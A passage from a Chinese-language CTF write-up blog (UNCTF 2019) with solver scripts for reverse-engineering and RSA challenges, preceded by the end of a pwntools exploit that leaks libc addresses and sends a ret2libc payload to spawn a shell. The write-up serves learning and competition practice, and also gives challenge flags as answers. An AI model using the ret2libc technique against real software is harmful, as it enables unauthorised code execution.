p.sendline('a'*0x20+p32(1717986918))
obj = LibcSearcher("puts", puts_libc_addr)
obj.add_condition("__libc_start_main", main_libc_addr)
print(hex(obj.dump('puts')))
print(hex(obj.dump('__libc_start_main')))
print(hex(obj.dump('system')))
print(hex(obj.dump('str_bin_sh')))
libcbase_addr=puts_libc_addr-obj.dump('puts')
system_addr=libcbase_addr+obj.dump('system')
print("system_addr:")
print(hex(system_addr))
binsh_addr=libcbase_addr+obj.dump('str_bin_sh')
print("binsh_addr:")
print(hex(binsh_addr))
p.sendlineafter("What is your name?",'a'*0x10+'a'*4+p32(0x08048591)+p32(system_addr)+p32(puts_addr)+p32(binsh_addr))
p.interactive()

Re

666

对目标数组进行异或变换

1
2
3
4
5
6
7
8
9
10
if ( strlen(a1) == key )                      
{
for ( i = 0; i < key; i += 3 )
{
v5[i] = key ^ (a1[i] + 6);
v4[i + 1] = (a1[i + 1] - 6) ^ key;
v3[i + 2] = a1[i + 2] ^ 6 ^ key;
*(_BYTE *)(a2 + i) = v5[i];
*(_BYTE *)(a2 + i + 1LL) = v4[i + 1];
*(_BYTE *)(a2 + i + 2LL) = v3[i + 2];

Decrypt.py:

1
2
3
4
5
6
7
8
9
10
11
s='izwhroz""w"v.K".Ni'
flag=''
for i in range(0x12):
if i%3==0:
flag+=chr((ord(s[i])^0x12)-0x6)
elif i%3==1:
flag+=chr((ord(s[i])^0x12)+0x6)
elif i%3==2:
flag+=chr(ord(s[i])^0x12^0x6)
print(flag)
#unctf{b66_6b6_66b}

奇怪的数组

程序意思是将checkbox作为字典,flag分成两段,满足checkbox=16*v3+v12

1
2
3
4
5
6
7
8
9
10
11
12
13
14
a = [0xAD,0x46,0x1E,0x20,0x3C,0x79,0x75,0xB3,0x5E,0x52,0x79,0x60,0xCB,0xFE,0xB0,0x6C]
b = [48,49,50,51,52,53,54,55,56,57,97,98,99,100,101,102]
flag = ''
for x in range(len(a)):
for i in range(len(b)):
for j in range(len(b)):
if((b[i]>47 and b[i]<=57)):tmp = b[i] -48
else: tmp = b[i] - 87
if((b[j]>47 and b[j]<=57)):mmp = b[j] -48
else: mmp = b[j] - 87
if ((tmp*16+mmp) == a[x]) :
flag += chr(b[i])
flag += chr(b[j])
# ad461e203c7975b35e527960cbfeb06c

Easy-Android

用工具反编译后,Java源码中对flag进行md5加密和异或操作

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
import hashlib
a=["2061e19de42da6e0de934592a2de3ca0","a81813dabd92cefdc6bbf28ea522d2d1","4b98921c9b772ed5971c9eca38b08c9f","81773872cbbd24dd8df2b980a2b47340","73b131aa8e4847d27a1c20608199814e","bbd7c4e20e99f0a3bf21c148fe22f21d","bf268d46ef91eea2634c34db64c91ef2","0862deb943decbddb87dbf0eec3a06cc"]
for i in range(128):
for j in range(128):
for k in range(128):
for l in range(128):
b=""+chr(i)+chr(j)+chr(k)+chr(l)
cipher=hashlib.md5(b.encode("utf-8")).hexdigest()
if(cipher==a[0]):
c="flag"
d1=""
for i in range(4):
e=ord(b[i])^ord(c[i])
d1+=chr(e)
print('flag[0]',d1)
if(cipher==a[1]):
c="{thi"
d2=""
for i in range(4):
e=ord(b[i])^ord(c[i])
d2+=chr(e)
print('flag[1]',d2)
if(cipher==a[2]):
c="s_is"
d3=""
for i in range(4):
e=ord(b[i])^ord(c[i])
d3+=chr(e)
print('flag[2]',d3)
if(cipher==a[3]):
c="_a_f"
d4=""
for i in range(4):
e=ord(b[i])^ord(c[i])
d4+=chr(e)
print('flag[3]',d4)
if(cipher==a[4]):
c="ake_"
d5=""
for i in range(4):
e=ord(b[i])^ord(c[i])
d5+=chr(e)
print('flag[4]',d5)
if(cipher==a[5]):
c="flag"
d6=""
for i in range(4):
e=ord(b[i])^ord(c[i])
d6+=chr(e)
print('flag[5]',d6)
if(cipher==a[6]):
c="_ahh"
d7=""
for i in range(4):
e=ord(b[i])^ord(c[i])
d7+=chr(e)
print('flag[6]',d7)
if(cipher==a[7]):
c="hhh}"
d8=""
for i in range(4):
e=ord(b[i])^ord(c[i])
d8+=chr(e)
print('')
print('flag[7]',d8)
'''
flag[0] bd1d
flag[7] ccfa
flag[2] f1d3
flag[3] f5a1
flag[1] 6ba7
flag[4] 3ebb
flag[5] 0a75
flag[6] 844c
'''

BabyXor

查壳:UPolyX v0.5 *,ESP定律脱壳 ,flag分为三段进行加密,逆向解密即可

1
2
3
4
5
6
7
8
9
10
11
12
13
encode1=[0x66,0x6D,0x63,0x64,0x7f,0x37,0x35,0x30,0x30,0x6b,0x3a,0x3c,0x3b,0x20]
encode2=[0x37,0x6f,0x38,0x62,0x36,0x7c,0x37,0x33,0x34,0x76,0x33,0x62,0x64,0x7a]
encode3=[0x1a,0,0,0x51,0x5,0x11,0x54,0x56,0x55,0x59,0x1d,0x9,0x5d,0x12,0]
flag=''
decode2='7'
for i in range(len(encode1)):
flag+=chr(i^encode1[i])
for i in range(len(encode2)-1):
decode2+=chr(encode1[i+1]^encode2[i+1]^encode1[i])
flag+=decode2+'-'
for i in range(len(encode1)-1):
flag+=chr(i^(encode3[i+1]^ord(decode2[i])))
# flag{2378b077-7d6e-4564-bdca-7eec8eede9a2}

Easy_Maze

由于加密的迷宫以及解密的函数都给了,利用gdb调试到走迷宫的函数,显示出sp,写出迷宫就能写出flag

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
gdb> x/49xw $sp+8
0x7fffffffdf20: 0x00000001 0x00000000 0x00000000 0x00000001
0x7fffffffdf30: 0x00000001 0x00000001 0x00000001 0x00000001
0x7fffffffdf40: 0x00000000 0x00000001 0x00000001 0x00000000
0x7fffffffdf50: 0x00000000 0x00000001 0x00000001 0x00000001
0x7fffffffdf60: 0x00000001 0x00000000 0x00000001 0x00000001
0x7fffffffdf70: 0x00000001 0x00000000 0x00000000 0x00000000
0x7fffffffdf80: 0x00000001 0x00000001 0x00000000 0x00000000
0x7fffffffdf90: 0x00000001 0x00000001 0x00000001 0x00000001
0x7fffffffdfa0: 0x00000000 0x00000000 0x00000000 0x00000001
0x7fffffffdfb0: 0x00000000 0x00000000 0x00000000 0x00000001
0x7fffffffdfc0: 0x00000001 0x00000001 0x00000001 0x00000001
0x7fffffffdfd0: 0x00000001 0x00000001 0x00000001 0x00000000
0x7fffffffdfe0: 0x00000001
迷宫:
1001111
1011001
1110111
0001100
1111000
1000111
1111101
flag : UNCTF{ssddwdwdddssaasasaaassddddwdds}

crypto

不仅仅是RSA

视频利用运行脚本得到两段密文

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
import libnum
import gmpy2

#n1 = 0xC461B3ED566F2D68583019170BDD5263D113BAECE3DEE6631F08A166376AC41FF5D4E90B3330E0FC26993E3B353F38F9B6B880DFBC5807636497561B7611047B
n1 = 10285341668836655607404515118077620322010982612318568968318582049362470680277495816958090140659605052252686941748392508264340665515203620965012407552377979
e =0xa105
p1 = 95652716952085928904432251307911783641637100214166105912784767390061832540987
q1 = 107527961531806336468215094056447603422487078704170855072884726273308088647617
c1 = 4314251881242803343641258350847424240197348270934376293792054938860756265727535163218661012756264314717591117355736219880127534927494986120542485721347351
#n2 = 0xA36E3A2A83FE2C1E33F285A08C3ECD36E377F4D9FFE828E2426D3ECED0A7F947631E932AEC327555511AC6D71E72686C1CB7DBBF3859A4D9A3D344FBF12A9553
n2 = 8559553750267902714590519131072264773684562647813990967245740601834411107597211544789303614222336972768348959206728010238189976768204432286391096419456339
p2 = 89485735722023752007114986095340626130070550475022132484632643785292683293897
q2 = 95652716952085928904432251307911783641637100214166105912784767390061832540987
c2 = 485162209351525800948941613977942416744737316759516157292410960531475083863663017229882430859161458909478412418639172249660818299099618143918080867132349
d1 = gmpy2.invert(e,(p1-1)*(q1-1))
d2 = gmpy2.invert(e,(p2-1)*(q2-1))

m1 = pow(c1,d1,n1)
m2 = pow(c2,d2,n2)
print(libnum.n2s(m1))
print(libnum.n2s(m2))
#UNCTF{ac01dff95336aa470e3b55d3fe43e9f6}
文章作者: Somnus
文章链接: https://nikoeurus.github.io/2019/10/28/UNCTF/
版权声明: 本博客所有文章除特别声明外,均采用 CC BY-NC-SA 4.0 许可协议。转载请注明来自 Somnus's blog